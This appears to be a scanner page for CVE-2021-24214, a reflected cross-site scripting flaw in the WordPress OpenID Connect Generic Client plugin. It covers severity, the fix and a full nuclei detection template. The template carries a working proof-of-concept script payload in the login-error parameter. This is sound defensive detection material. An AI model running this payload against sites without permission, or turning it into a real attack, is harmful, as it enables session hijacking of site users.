WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt
Positive when: contains "OpenID Connect Generic Client"
Send: GET {{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>
Positive when: contains "ERROR (<script>alert(document.domain)</script>):" and "Login with OpenID Connect" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24214 -u <target>

The full check

id: CVE-2021-24214

info:
  name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
  author: tess
  severity: medium
  description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24214
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24214
    cwe-id: CWE-79
    epss-score: 0.01623
    epss-percentile: 0.76302
    cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: daggerhartlab
    product: "openid_connect_generic_client"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,wp,openid,daggerhartlab,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'OpenID Connect Generic Client'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ERROR (<script>alert(document.domain)</script>):'
          - 'Login with OpenID Connect'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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